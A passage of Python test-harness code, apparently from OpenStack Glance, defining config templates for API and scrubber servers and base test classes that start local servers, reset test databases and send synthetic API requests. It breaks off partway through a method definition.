self.workers = 0 self.scrub_time = 5 self.image_cache_dir = os.path.join(self.test_dir, 'cache') self.image_cache_driver = 'sqlite' self.policy_file = policy_file self.policy_default_rule = 'default' self.property_protection_rule_format = 'roles' self.image_member_quota = 10 self.image_property_quota = 10 self.image_tag_quota = 10 self.image_location_quota = 2 self.disable_path = None self.needs_database = True default_sql_connection = SQLITE_CONN_TEMPLATE % self.test_dir self.sql_connection = os.environ.get('GLANCE_TEST_SQL_CONNECTION', default_sql_connection) self.user_storage_quota = '0' self.lock_path = self.test_dir self.location_strategy = 'location_order' self.store_type_location_strategy_preference = "" self.send_identity_headers = False self.conf_base = """[DEFAULT] debug = %(debug)s default_log_levels = eventlet.wsgi.server=DEBUG,stevedore.extension=INFO bind_host = %(bind_host)s bind_port = %(bind_port)s metadata_encryption_key = %(metadata_encryption_key)s send_identity_credentials = %(send_identity_credentials)s log_file = %(log_file)s image_size_cap = %(image_size_cap)d delayed_delete = %(delayed_delete)s owner_is_tenant = %(owner_is_tenant)s workers = %(workers)s scrub_time = %(scrub_time)s send_identity_headers = %(send_identity_headers)s image_cache_dir = %(image_cache_dir)s image_cache_driver = %(image_cache_driver)s sql_connection = %(sql_connection)s show_image_direct_url = %(show_image_direct_url)s show_multiple_locations = %(show_multiple_locations)s user_storage_quota = %(user_storage_quota)s lock_path = %(lock_path)s property_protection_file = %(property_protection_file)s property_protection_rule_format = %(property_protection_rule_format)s image_member_quota=%(image_member_quota)s image_property_quota=%(image_property_quota)s image_tag_quota=%(image_tag_quota)s image_location_quota=%(image_location_quota)s location_strategy=%(location_strategy)s allow_additional_image_properties = True [oslo_policy] policy_file = %(policy_file)s policy_default_rule = %(policy_default_rule)s [paste_deploy] flavor = %(deployment_flavor)s [store_type_location_strategy] store_type_preference = %(store_type_location_strategy_preference)s [glance_store] filesystem_store_datadir=%(image_dir)s default_store = %(default_store)s [import_filtering_opts] allowed_ports = [] """ self.paste_conf_base = """[pipeline:glance-api] pipeline = cors healthcheck versionnegotiation gzip unauthenticated-context rootapp [pipeline:glance-api-caching] pipeline = cors healthcheck versionnegotiation gzip unauthenticated-context cache rootapp [pipeline:glance-api-cachemanagement] pipeline = cors healthcheck versionnegotiation gzip unauthenticated-context cache cache_manage rootapp [pipeline:glance-api-fakeauth] pipeline = cors healthcheck versionnegotiation gzip fakeauth context rootapp [pipeline:glance-api-noauth] pipeline = cors healthcheck versionnegotiation gzip context rootapp [composite:rootapp] paste.composite_factory = glance.api:root_app_factory /: apiversions /v2: apiv2app [app:apiversions] paste.app_factory = glance.api.versions:create_resource [app:apiv2app] paste.app_factory = glance.api.v2.router:API.factory [filter:healthcheck] paste.filter_factory = oslo_middleware:Healthcheck.factory backends = disable_by_file disable_by_file_path = %(disable_path)s [filter:versionnegotiation] paste.filter_factory = glance.api.middleware.version_negotiation:VersionNegotiationFilter.factory [filter:gzip] paste.filter_factory = glance.api.middleware.gzip:GzipMiddleware.factory [filter:cache] paste.filter_factory = glance.api.middleware.cache:CacheFilter.factory [filter:cache_manage] paste.filter_factory = glance.api.middleware.cache_manage:CacheManageFilter.factory [filter:context] paste.filter_factory = glance.api.middleware.context:ContextMiddleware.factory [filter:unauthenticated-context] paste.filter_factory = glance.api.middleware.context:UnauthenticatedContextMiddleware.factory [filter:fakeauth] paste.filter_factory = glance.tests.utils:FakeAuthMiddleware.factory [filter:cors] paste.filter_factory = oslo_middleware.cors:filter_factory allowed_origin=http://valid.example.com """ class ApiServerForMultipleBackend(Server): """ Server object that starts/stops/manages the API server """ def __init__(self, test_dir, port, policy_file, delayed_delete=False, pid_file=None, sock=None, **kwargs): super(ApiServerForMultipleBackend, self).__init__( test_dir, port, sock=sock) self.server_name = 'api' self.server_module = 'glance.cmd.%s' % self.server_name self.default_backend = kwargs.get("default_backend", "file1") self.bind_host = "127.0.0.1" self.metadata_encryption_key = "012345678901234567890123456789ab" self.image_dir_backend_1 = os.path.join(self.test_dir, "images_1") self.image_dir_backend_2 = os.path.join(self.test_dir, "images_2") self.image_dir_backend_3 = os.path.join(self.test_dir, "images_3") self.staging_dir = os.path.join(self.test_dir, "staging") self.pid_file = pid_file or os.path.join(self.test_dir, "multiple_backend_api.pid") self.log_file = os.path.join(self.test_dir, "multiple_backend_api.log") self.image_size_cap = 1099511627776 self.delayed_delete = delayed_delete self.owner_is_tenant = True self.workers = 0 self.scrub_time = 5 self.image_cache_dir = os.path.join(self.test_dir, 'cache') self.image_cache_driver = 'sqlite' self.policy_file = policy_file self.policy_default_rule = 'default' self.property_protection_rule_format = 'roles' self.image_member_quota = 10 self.image_property_quota = 10 self.image_tag_quota = 10 self.image_location_quota = 2 self.disable_path = None self.needs_database = True default_sql_connection = SQLITE_CONN_TEMPLATE % self.test_dir self.sql_connection = os.environ.get('GLANCE_TEST_SQL_CONNECTION', default_sql_connection) self.user_storage_quota = '0' self.lock_path = self.test_dir self.location_strategy = 'location_order' self.store_type_location_strategy_preference = "" self.send_identity_headers = False self.conf_base = """[DEFAULT] debug = %(debug)s default_log_levels = eventlet.wsgi.server=DEBUG,stevedore.extension=INFO bind_host = %(bind_host)s bind_port = %(bind_port)s metadata_encryption_key = %(metadata_encryption_key)s send_identity_credentials = %(send_identity_credentials)s log_file = %(log_file)s image_size_cap = %(image_size_cap)d delayed_delete = %(delayed_delete)s owner_is_tenant = %(owner_is_tenant)s workers = %(workers)s scrub_time = %(scrub_time)s send_identity_headers = %(send_identity_headers)s image_cache_dir = %(image_cache_dir)s image_cache_driver = %(image_cache_driver)s sql_connection = %(sql_connection)s show_image_direct_url = %(show_image_direct_url)s show_multiple_locations = %(show_multiple_locations)s user_storage_quota = %(user_storage_quota)s lock_path = %(lock_path)s property_protection_file = %(property_protection_file)s property_protection_rule_format = %(property_protection_rule_format)s image_member_quota=%(image_member_quota)s image_property_quota=%(image_property_quota)s image_tag_quota=%(image_tag_quota)s image_location_quota=%(image_location_quota)s location_strategy=%(location_strategy)s allow_additional_image_properties = True enabled_backends=file1:file,file2:file,file3:file [oslo_policy] policy_file = %(policy_file)s policy_default_rule = %(policy_default_rule)s [paste_deploy] flavor = %(deployment_flavor)s [store_type_location_strategy] store_type_preference = %(store_type_location_strategy_preference)s [glance_store] default_backend = %(default_backend)s [file1] filesystem_store_datadir=%(image_dir_backend_1)s [file2] filesystem_store_datadir=%(image_dir_backend_2)s [file3] filesystem_store_datadir=%(image_dir_backend_3)s [import_filtering_opts] allowed_ports = [] [os_glance_staging_store] filesystem_store_datadir=%(staging_dir)s """ self.paste_conf_base = """[pipeline:glance-api] pipeline = cors healthcheck versionnegotiation gzip unauthenticated-context rootapp [pipeline:glance-api-caching] pipeline = cors healthcheck versionnegotiation gzip unauthenticated-context cache rootapp [pipeline:glance-api-cachemanagement] pipeline = cors healthcheck versionnegotiation gzip unauthenticated-context cache cache_manage rootapp [pipeline:glance-api-fakeauth] pipeline = cors healthcheck versionnegotiation gzip fakeauth context rootapp [pipeline:glance-api-noauth] pipeline = cors healthcheck versionnegotiation gzip context rootapp [composite:rootapp] paste.composite_factory = glance.api:root_app_factory /: apiversions /v2: apiv2app [app:apiversions] paste.app_factory = glance.api.versions:create_resource [app:apiv2app] paste.app_factory = glance.api.v2.router:API.factory [filter:healthcheck] paste.filter_factory = oslo_middleware:Healthcheck.factory backends = disable_by_file disable_by_file_path = %(disable_path)s [filter:versionnegotiation] paste.filter_factory = glance.api.middleware.version_negotiation:VersionNegotiationFilter.factory [filter:gzip] paste.filter_factory = glance.api.middleware.gzip:GzipMiddleware.factory [filter:cache] paste.filter_factory = glance.api.middleware.cache:CacheFilter.factory [filter:cache_manage] paste.filter_factory = glance.api.middleware.cache_manage:CacheManageFilter.factory [filter:context] paste.filter_factory = glance.api.middleware.context:ContextMiddleware.factory [filter:unauthenticated-context] paste.filter_factory = glance.api.middleware.context:UnauthenticatedContextMiddleware.factory [filter:fakeauth] paste.filter_factory = glance.tests.utils:FakeAuthMiddleware.factory [filter:cors] paste.filter_factory = oslo_middleware.cors:filter_factory allowed_origin=http://valid.example.com """ class ScrubberDaemon(Server): """ Server object that starts/stops/manages the Scrubber server """ def __init__(self, test_dir, policy_file, daemon=False, **kwargs): # NOTE(jkoelker): Set the port to 0 since we actually don't listen super(ScrubberDaemon, self).__init__(test_dir, 0) self.server_name = 'scrubber' self.server_module = 'glance.cmd.%s' % self.server_name self.daemon = daemon self.image_dir = os.path.join(self.test_dir, "images") self.scrub_time = 5 self.pid_file = os.path.join(self.test_dir, "scrubber.pid") self.log_file = os.path.join(self.test_dir, "scrubber.log") self.metadata_encryption_key = "012345678901234567890123456789ab" self.lock_path = self.test_dir default_sql_connection = SQLITE_CONN_TEMPLATE % self.test_dir self.sql_connection = os.environ.get('GLANCE_TEST_SQL_CONNECTION', default_sql_connection) self.policy_file = policy_file self.policy_default_rule = 'default' self.send_identity_headers = False self.conf_base = """[DEFAULT] debug = %(debug)s log_file = %(log_file)s daemon = %(daemon)s wakeup_time = 2 scrub_time = %(scrub_time)s metadata_encryption_key = %(metadata_encryption_key)s lock_path = %(lock_path)s sql_connection = %(sql_connection)s sql_idle_timeout = 3600 [glance_store] filesystem_store_datadir=%(image_dir)s [oslo_policy] policy_file = %(policy_file)s policy_default_rule = %(policy_default_rule)s """ def start(self, expect_exit=True, expected_exitcode=0, **kwargs): if 'daemon' in kwargs: expect_exit = False return super(ScrubberDaemon, self).start( expect_exit=expect_exit, expected_exitcode=expected_exitcode, **kwargs) class FunctionalTest(test_utils.BaseTestCase): """ Base test class for any test that wants to test the actual servers and clients and not just the stubbed out interfaces """ inited = False disabled = False launched_servers = [] def setUp(self): super(FunctionalTest, self).setUp() self.test_dir = self.useFixture(fixtures.TempDir()).path self.api_protocol = 'http' self.api_port, api_sock = test_utils.get_unused_port_and_socket() # NOTE: Scrubber is enabled by default for the functional tests. # Please disbale it by explicitly setting 'self.include_scrubber' to # False in the test SetUps that do not require Scrubber to run. self.include_scrubber = True # The clients will try to connect to this address. Let's make sure # we're not using the default '0.0.0.0' self.config(bind_host='127.0.0.1') self.tracecmd = tracecmd_osmap.get(platform.system()) conf_dir = os.path.join(self.test_dir, 'etc') utils.safe_mkdirs(conf_dir) self.copy_data_file('schema-image.json', conf_dir) self.copy_data_file('policy.json', conf_dir) self.copy_data_file('property-protections.conf', conf_dir) self.copy_data_file('property-protections-policies.conf', conf_dir) self.property_file_roles = os.path.join(conf_dir, 'property-protections.conf') property_policies = 'property-protections-policies.conf' self.property_file_policies = os.path.join(conf_dir, property_policies) self.policy_file = os.path.join(conf_dir, 'policy.json') self.api_server = ApiServer(self.test_dir, self.api_port, self.policy_file, sock=api_sock) self.scrubber_daemon = ScrubberDaemon(self.test_dir, self.policy_file) self.pid_files = [self.api_server.pid_file, self.scrubber_daemon.pid_file] self.files_to_destroy = [] self.launched_servers = [] # Keep track of servers we've logged so we don't double-log them. self._attached_server_logs = [] self.addOnException(self.add_log_details_on_exception) if not self.disabled: # We destroy the test data store between each test case, # and recreate it, which ensures that we have no side-effects # from the tests self.addCleanup( self._reset_database, self.api_server.sql_connection) self.addCleanup(self.cleanup) self._reset_database(self.api_server.sql_connection) def set_policy_rules(self, rules): fap = open(self.policy_file, 'w') fap.write(jsonutils.dumps(rules)) fap.close() def _reset_database(self, conn_string): conn_pieces = urlparse.urlparse(conn_string) if conn_string.startswith('sqlite'): # We leave behind the sqlite DB for failing tests to aid # in diagnosis, as the file size is relatively small and # won't interfere with subsequent tests as it's in a per- # test directory (which is blown-away if the test is green) pass elif conn_string.startswith('mysql'): # We can execute the MySQL client to destroy and re-create # the MYSQL database, which is easier and less error-prone # than using SQLAlchemy to do this via MetaData...trust me. database = conn_pieces.path.strip('/') loc_pieces = conn_pieces.netloc.split('@') host = loc_pieces[1] auth_pieces = loc_pieces[0].split(':') user = auth_pieces[0] password = "" if len(auth_pieces) > 1: if auth_pieces[1].strip(): password = "-p%s" % auth_pieces[1] sql = ("drop database if exists %(database)s; " "create database %(database)s;") % {'database': database} cmd = ("mysql -u%(user)s %(password)s -h%(host)s " "-e\"%(sql)s\"") % {'user': user, 'password': password, 'host': host, 'sql': sql} exitcode, out, err = execute(cmd) self.assertEqual(0, exitcode) def cleanup(self): """ Makes sure anything we created or started up in the tests are destroyed or spun down """ # NOTE(jbresnah) call stop on each of the servers instead of # checking the pid file. stop() will wait until the child # server is dead. This eliminates the possibility of a race # between a child process listening on a port actually dying # and a new process being started servers = [self.api_server, self.scrubber_daemon] for s in servers: try: s.stop() except Exception: pass for f in self.files_to_destroy: if os.path.exists(f): os.unlink(f) def start_server(self, server, expect_launch, expect_exit=True, expected_exitcode=0, **kwargs): """ Starts a server on an unused port. Any kwargs passed to this method will override the configuration value in the conf file used in starting the server. :param server: the server to launch :param expect_launch: true iff the server is expected to successfully start :param expect_exit: true iff the launched process is expected to exit in a timely fashion :param expected_exitcode: expected exitcode from the launcher """ self.cleanup() # Start up the requested server exitcode, out, err = server.start(expect_exit=expect_exit, expected_exitcode=expected_exitcode, **kwargs) if expect_exit: self.assertEqual(expected_exitcode, exitcode, "Failed to spin up the requested server. " "Got: %s" % err) self.launched_servers.append(server) launch_msg = self.wait_for_servers([server], expect_launch) self.assertTrue(launch_msg is None, launch_msg) def start_with_retry(self, server, port_name, max_retries, expect_launch=True, **kwargs): """ Starts a server, with retries if the server launches but fails to start listening on the expected port. :param server: the server to launch :param port_name: the name of the port attribute :param max_retries: the maximum number of attempts :param expect_launch: true iff the server is expected to successfully start :param expect_exit: true iff the launched process is expected to exit in a timely fashion """ launch_msg = None for i in range(max_retries): exitcode, out, err = server.start(expect_exit=not expect_launch, **kwargs) name = server.server_name self.assertEqual(0, exitcode, "Failed to spin up the %s server. " "Got: %s" % (name, err)) launch_msg = self.wait_for_servers([server], expect_launch) if launch_msg: server.stop() server.bind_port = get_unused_port() setattr(self, port_name, server.bind_port) else: self.launched_servers.append(server) break self.assertTrue(launch_msg is None, launch_msg) def start_servers(self, **kwargs): """ Starts the API and Registry servers (glance-control api start ) on unused ports. glance-control should be installed into the python path Any kwargs passed to this method will override the configuration value in the conf file used in starting the servers. """ self.cleanup() # Start up the API server self.start_with_retry(self.api_server, 'api_port', 3, **kwargs) if self.include_scrubber: exitcode, out, err = self.scrubber_daemon.start(**kwargs) self.assertEqual(0, exitcode, "Failed to spin up the Scrubber daemon. " "Got: %s" % err) def ping_server(self, port): """ Simple ping on the port. If responsive, return True, else return False. :note We use raw sockets, not ping here, since ping uses ICMP and has no concept of ports... """ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect(("127.0.0.1", port)) return True except socket.error: return False finally: s.close() def ping_server_ipv6(self, port): """ Simple ping on the port. If responsive, return True, else return False. :note We use raw sockets, not ping here, since ping uses ICMP and has no concept of ports... The function uses IPv6 (therefore AF_INET6 and ::1). """ s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) try: s.connect(("::1", port)) return True except socket.error: return False finally: s.close() def wait_for_servers(self, servers, expect_launch=True, timeout=30): """ Tight loop, waiting for the given server port(s) to be available. Returns when all are pingable. There is a timeout on waiting for the servers to come up. :param servers: Glance server ports to ping :param expect_launch: Optional, true iff the server(s) are expected to successfully start :param timeout: Optional, defaults to 30 seconds :returns: None if launch expectation is met, otherwise an assertion message """ now = datetime.datetime.now() timeout_time = now + datetime.timedelta(seconds=timeout) replied = [] while (timeout_time > now): pinged = 0 for server in servers: if self.ping_server(server.bind_port): pinged += 1 if server not in replied: replied.append(server) if pinged == len(servers): msg = 'Unexpected server launch status' return None if expect_launch else msg now = datetime.datetime.now() time.sleep(0.05) failed = list(set(servers) - set(replied)) msg = 'Unexpected server launch status for: ' for f in failed: msg += ('%s, ' % f.server_name) if os.path.exists(f.pid_file): pid = f.process_pid trace = f.pid_file.replace('.pid', '.trace') if self.tracecmd: cmd = '%s -p %d -o %s' % (self.tracecmd, pid, trace) try: execute(cmd, raise_error=False, expect_exit=False) except OSError as e: if e.errno == errno.ENOENT: raise RuntimeError('No executable found for "%s" ' 'command.' % self.tracecmd) else: raise time.sleep(0.5) if os.path.exists(trace): msg += ('\n%s:\n%s\n' % (self.tracecmd, open(trace).read())) self.add_log_details(failed) return msg if expect_launch else None def stop_server(self, server): """ Called to stop a single server in a normal fashion using the glance-control stop method to gracefully shut the server down. :param server: the server to stop """ # Spin down the requested server server.stop() def stop_servers(self): """ Called to stop the started servers in a normal fashion. Note that cleanup() will stop the servers using a fairly draconian method of sending a SIGTERM signal to the servers. Here, we use the glance-control stop method to gracefully shut the server down. This method also asserts that the shutdown was clean, and so it is meant to be called during a normal test case sequence. """ # Spin down the API server self.stop_server(self.api_server) if self.include_scrubber: self.stop_server(self.scrubber_daemon) def run_sql_cmd(self, sql): """ Provides a crude mechanism to run manual SQL commands for backend DB verification within the functional tests. The raw result set is returned. """ engine = db_api.get_engine() return engine.execute(sql) def copy_data_file(self, file_name, dst_dir): src_file_name = os.path.join('glance/tests/etc', file_name) shutil.copy(src_file_name, dst_dir) dst_file_name = os.path.join(dst_dir, file_name) return dst_file_name def add_log_details_on_exception(self, *args, **kwargs): self.add_log_details() def add_log_details(self, servers=None): for s in servers or self.launched_servers: if s.log_file not in self._attached_server_logs: self._attached_server_logs.append(s.log_file) self.addDetail( s.server_name, testtools.content.text_content(s.dump_log())) class MultipleBackendFunctionalTest(test_utils.BaseTestCase): """ Base test class for any test that wants to test the actual servers and clients and not just the stubbed out interfaces """ inited = False disabled = False launched_servers = [] def setUp(self): super(MultipleBackendFunctionalTest, self).setUp() self.test_dir = self.useFixture(fixtures.TempDir()).path self.api_protocol = 'http' self.api_port, api_sock = test_utils.get_unused_port_and_socket() # NOTE: Scrubber is enabled by default for the functional tests. # Please disbale it by explicitly setting 'self.include_scrubber' to # False in the test SetUps that do not require Scrubber to run. self.include_scrubber = True self.tracecmd = tracecmd_osmap.get(platform.system()) conf_dir = os.path.join(self.test_dir, 'etc') utils.safe_mkdirs(conf_dir) self.copy_data_file('schema-image.json', conf_dir) self.copy_data_file('policy.json', conf_dir) self.copy_data_file('property-protections.conf', conf_dir) self.copy_data_file('property-protections-policies.conf', conf_dir) self.property_file_roles = os.path.join(conf_dir, 'property-protections.conf') property_policies = 'property-protections-policies.conf' self.property_file_policies = os.path.join(conf_dir, property_policies) self.policy_file = os.path.join(conf_dir, 'policy.json') self.api_server_multiple_backend = ApiServerForMultipleBackend( self.test_dir, self.api_port, self.policy_file, sock=api_sock) self.scrubber_daemon = ScrubberDaemon(self.test_dir, self.policy_file) self.pid_files = [self.api_server_multiple_backend.pid_file, self.scrubber_daemon.pid_file] self.files_to_destroy = [] self.launched_servers = [] # Keep track of servers we've logged so we don't double-log them. self._attached_server_logs = [] self.addOnException(self.add_log_details_on_exception) if not self.disabled: # We destroy the test data store between each test case, # and recreate it, which ensures that we have no side-effects # from the tests self.addCleanup( self._reset_database, self.api_server_multiple_backend.sql_connection) self.addCleanup(self.cleanup) self._reset_database( self.api_server_multiple_backend.sql_connection) def set_policy_rules(self, rules): fap = open(self.policy_file, 'w') fap.write(jsonutils.dumps(rules)) fap.close() def _reset_database(self, conn_string): conn_pieces = urlparse.urlparse(conn_string) if conn_string.startswith('sqlite'): # We leave behind the sqlite DB for failing tests to aid # in diagnosis, as the file size is relatively small and # won't interfere with subsequent tests as it's in a per- # test directory (which is blown-away if the test is green) pass elif conn_string.startswith('mysql'): # We can execute the MySQL client to destroy and re-create # the MYSQL database, which is easier and less error-prone # than using SQLAlchemy to do this via MetaData...trust me. database = conn_pieces.path.strip('/') loc_pieces = conn_pieces.netloc.split('@') host = loc_pieces[1] auth_pieces = loc_pieces[0].split(':') user = auth_pieces[0] password = "" if len(auth_pieces) > 1: if auth_pieces[1].strip(): password = "-p%s" % auth_pieces[1] sql = ("drop database if exists %(database)s; " "create database %(database)s;") % {'database': database} cmd = ("mysql -u%(user)s %(password)s -h%(host)s " "-e\"%(sql)s\"") % {'user': user, 'password': password, 'host': host, 'sql': sql} exitcode, out, err = execute(cmd) self.assertEqual(0, exitcode) def cleanup(self): """ Makes sure anything we created or started up in the tests are destroyed or spun down """ # NOTE(jbresnah) call stop on each of the servers instead of # checking the pid file. stop() will wait until the child # server is dead. This eliminates the possibility of a race # between a child process listening on a port actually dying # and a new process being started servers = [self.api_server_multiple_backend, self.scrubber_daemon] for s in servers: try: s.stop() except Exception: pass for f in self.files_to_destroy: if os.path.exists(f): os.unlink(f) def start_server(self, server, expect_launch, expect_exit=True, expected_exitcode=0, **kwargs): """ Starts a server on an unused port. Any kwargs passed to this method will override the configuration value in the conf file used in starting the server. :param server: the server to launch :param expect_launch: true iff the server is expected to successfully start :param expect_exit: true iff the launched process is expected to exit in a timely fashion :param expected_exitcode: expected exitcode from the launcher """ self.cleanup() # Start up the requested server exitcode, out, err = server.start(expect_exit=expect_exit, expected_exitcode=expected_exitcode, **kwargs) if expect_exit: self.assertEqual(expected_exitcode, exitcode, "Failed to spin up the requested server. " "Got: %s" % err) self.launched_servers.append(server) launch_msg = self.wait_for_servers([server], expect_launch) self.assertTrue(launch_msg is None, launch_msg) def start_with_retry(self, server, port_name, max_retries, expect_launch=True, **kwargs): """ Starts a server, with retries if the server launches but fails to start listening on the expected port. :param server: the server to launch :param port_name: the name of the port attribute :param max_retries: the maximum number of attempts :param expect_launch: true iff the server is expected to successfully start :param expect_exit: true iff the launched process is expected to exit in a timely fashion """ launch_msg = None for i in range(max_retries): exitcode, out, err = server.start(expect_exit=not expect_launch, **kwargs) name = server.server_name self.assertEqual(0, exitcode, "Failed to spin up the %s server. " "Got: %s" % (name, err)) launch_msg = self.wait_for_servers([server], expect_launch) if launch_msg: server.stop() server.bind_port = get_unused_port() setattr(self, port_name, server.bind_port) else: self.launched_servers.append(server) break self.assertTrue(launch_msg is None, launch_msg) def start_servers(self, **kwargs): """ Starts the API and Registry servers (glance-control api start ) on unused ports. glance-control should be installed into the python path Any kwargs passed to this method will override the configuration value in the conf file used in starting the servers. """ self.cleanup() # Start up the API server self.start_with_retry(self.api_server_multiple_backend, 'api_port', 3, **kwargs) if self.include_scrubber: exitcode, out, err = self.scrubber_daemon.start(**kwargs) self.assertEqual(0, exitcode, "Failed to spin up the Scrubber daemon. " "Got: %s" % err) def ping_server(self, port): """ Simple ping on the port. If responsive, return True, else return False. :note We use raw sockets, not ping here, since ping uses ICMP and has no concept of ports... """ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect(("127.0.0.1", port)) return True except socket.error: return False finally: s.close() def ping_server_ipv6(self, port): """ Simple ping on the port. If responsive, return True, else return False. :note We use raw sockets, not ping here, since ping uses ICMP and has no concept of ports... The function uses IPv6 (therefore AF_INET6 and ::1). """ s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) try: s.connect(("::1", port)) return True except socket.error: return False finally: s.close() def wait_for_servers(self, servers, expect_launch=True, timeout=30): """ Tight loop, waiting for the given server port(s) to be available. Returns when all are pingable. There is a timeout on waiting for the servers to come up. :param servers: Glance server ports to ping :param expect_launch: Optional, true iff the server(s) are expected to successfully start :param timeout: Optional, defaults to 30 seconds :returns: None if launch expectation is met, otherwise an assertion message """ now = datetime.datetime.now() timeout_time = now + datetime.timedelta(seconds=timeout) replied = [] while (timeout_time > now): pinged = 0 for server in servers: if self.ping_server(server.bind_port): pinged += 1 if server not in replied: replied.append(server) if pinged == len(servers): msg = 'Unexpected server launch status' return None if expect_launch else msg now = datetime.datetime.now() time.sleep(0.05) failed = list(set(servers) - set(replied)) msg = 'Unexpected server launch status for: ' for f in failed: msg += ('%s, ' % f.server_name) if os.path.exists(f.pid_file): pid = f.process_pid trace = f.pid_file.replace('.pid', '.trace') if self.tracecmd: cmd = '%s -p %d -o %s' % (self.tracecmd, pid, trace) try: execute(cmd, raise_error=False, expect_exit=False) except OSError as e: if e.errno == errno.ENOENT: raise RuntimeError('No executable found for "%s" ' 'command.' % self.tracecmd) else: raise time.sleep(0.5) if os.path.exists(trace): msg += ('\n%s:\n%s\n' % (self.tracecmd, open(trace).read())) self.add_log_details(failed) return msg if expect_launch else None def stop_server(self, server): """ Called to stop a single server in a normal fashion using the glance-control stop method to gracefully shut the server down. :param server: the server to stop """ # Spin down the requested server server.stop() def stop_servers(self): """ Called to stop the started servers in a normal fashion. Note that cleanup() will stop the servers using a fairly draconian method of sending a SIGTERM signal to the servers. Here, we use the glance-control stop method to gracefully shut the server down. This method also asserts that the shutdown was clean, and so it is meant to be called during a normal test case sequence. """ # Spin down the API self.stop_server(self.api_server_multiple_backend) if self.include_scrubber: self.stop_server(self.scrubber_daemon) def run_sql_cmd(self, sql): """ Provides a crude mechanism to run manual SQL commands for backend DB verification within the functional tests. The raw result set is returned. """ engine = db_api.get_engine() return engine.execute(sql) def copy_data_file(self, file_name, dst_dir): src_file_name = os.path.join('glance/tests/etc', file_name) shutil.copy(src_file_name, dst_dir) dst_file_name = os.path.join(dst_dir, file_name) return dst_file_name def add_log_details_on_exception(self, *args, **kwargs): self.add_log_details() def add_log_details(self, servers=None): for s in servers or self.launched_servers: if s.log_file not in self._attached_server_logs: self._attached_server_logs.append(s.log_file) self.addDetail( s.server_name, testtools.content.text_content(s.dump_log())) class SynchronousAPIBase(test_utils.BaseTestCase): """A base class that provides synchronous calling into the API. This provides a way to directly call into the API WSGI stack without starting a separate server, and with a simple paste pipeline. Configured with multi-store and a real database. This differs from the FunctionalTest lineage above in that they start a full copy of the API server as a separate process, whereas this calls directly into the WSGI stack. This test base is appropriate for situations where you need to be able to mock the state of the world (i.e. warp time, or inject errors) but should not be used for happy-path testing where FunctionalTest provides more isolation. To use this, inherit and run start_server() before you are ready to make API calls (either in your setUp() or per-test if you need to change config or mocking). Once started, use the api_get(), api_put(), api_post(), and api_delete() methods to make calls to the API. """ TENANT = str(uuid.uuid4()) @mock.patch('oslo_db.sqlalchemy.enginefacade.writer.get_engine') def setup_database(self, mock_get_engine): """Configure and prepare a fresh sqlite database.""" db_file = 'sqlite:///%s/test.db' % self.test_dir self.config(connection=db_file, group='database') # NOTE(danms): Make sure that we clear the current global # database configuration, provision a temporary database file, # and run migrations with our configuration to define the # schema there. db_api.clear_db_env() engine = db_api.get_engine() mock_get_engine.return_value = engine with mock.patch('logging.config'): # NOTE(danms): The alembic config in the env module will break our # BaseTestCase logging setup. So mock that out to prevent it while # we db_sync. test_utils.db_sync(engine=engine) def setup_simple_paste(self): """Setup a very simple no-auth paste pipeline. This configures the API to be very direct, including only the middleware absolutely required for consistent API calls. """ self.paste_config = os.path.join(self.test_dir, 'glance-api-paste.ini') with open(self.paste_config, 'w') as f: f.write(textwrap.dedent(""" [filter:context] paste.filter_factory = glance.api.middleware.context:\ ContextMiddleware.factory [filter:fakeauth] paste.filter_factory = glance.tests.utils:\ FakeAuthMiddleware.factory [pipeline:glance-api] pipeline = context rootapp [composite:rootapp] paste.composite_factory = glance.api:root_app_factory /v2: apiv2app [app:apiv2app] paste.app_factory = glance.api.v2.router:API.factory """)) def _store_dir(self, store): return os.path.join(self.test_dir, store) def setup_stores(self): """Configures multiple backend stores. This configures the API with three file-backed stores (store1, store2, and store3) as well as a os_glance_staging_store for imports. """ self.config(enabled_backends={'store1': 'file', 'store2': 'file', 'store3': 'file'}) glance_store.register_store_opts(CONF, reserved_stores=wsgi.RESERVED_STORES) self.config(default_backend='store1', group='glance_store') self.config(filesystem_store_datadir=self._store_dir('store1'), group='store1') self.config(filesystem_store_datadir=self._store_dir('store2'), group='store2') self.config(filesystem_store_datadir=self._store_dir('store3'), group='store3') self.config(filesystem_store_datadir=self._store_dir('staging'), group='os_glance_staging_store') glance_store.create_multi_stores(CONF, reserved_stores=wsgi.RESERVED_STORES) glance_store.verify_store() def setUp(self): super(SynchronousAPIBase, self).setUp() self.setup_database() self.setup_simple_paste() self.setup_stores() def start_server(self): """Builds and "starts" the API server. Note that this doesn't actually "start" anything like FunctionalTest does above, but that terminology is used here to make it seem like the same sort of pattern. """ config.set_config_defaults() self.api = config.load_paste_app('glance-api', conf_file=self.paste_config) def _headers(self, custom_headers=None): base_headers = { 'X-Identity-Status': 'Confirmed', 'X-Auth-Token': '932c5c84-02ac-4fe5-a9ba-620af0e2bb96', 'X-User-Id': 'f9a41d13-0c13-47e9-bee2-ce4e8bfe958e', 'X-Tenant-Id': self.TENANT, 'Content-Type': 'application/json', 'X-Roles': 'admin', } base_headers.update(custom_headers or {}) return base_headers def api_request(self, method, url, headers=None, data=None, json=None, body_file=None): """Perform a request against the API. NOTE: Most code should use api_get(), api_post(), api_put(), or api_delete() instead! :param method: The HTTP method to use (i.e. GET, POST, etc) :param url: The *path* part of the URL to call (i.e. /v2/images) :param headers: Optional updates to the default set of headers :param data: Optional bytes data payload to send (overrides @json) :param json: Optional dict structure to be jsonified and sent as the payload (mutually exclusive with @data) :param body_file: Optional io.IOBase to provide as the input data stream for the request (overrides @data) :returns: A webob.Response object """ headers = self._headers(headers) req = webob.Request.blank(url, method=method, headers=headers) if json and not data: data = jsonutils.dumps(json).encode() if data and not body_file: req.body = data elif body_file: req.body_file = body_file return self.api(req) def api_get(self, url, headers=None): """Perform a GET request against the API. :param url: The *path* part of the URL to call (i.e. /v2/images) :param headers: Optional updates to the default set of headers :returns: A webob.Response object """ return self.api_request('GET', url, headers=headers) def api_post(self, url, headers=None, data=None, json=None, body_file=None): """Perform a POST request against the API. :param url: The *path* part of the URL to call (i.e. /v2/images) :param headers: Optional updates to the default set of headers :param data: Optional bytes data payload to send (overrides @json) :param json: Optional dict structure to be jsonified and sent as the payload (mutually exclusive with @data) :param body_file: Optional io.IOBase to provide as the input data stream for the request (overrides @data) :returns: A webob.Response object """ return self.api_request('POST', url, headers=headers, data=data, json=json, body_file=body_file) def api_put(self, url, headers=None, data=None, json=None, 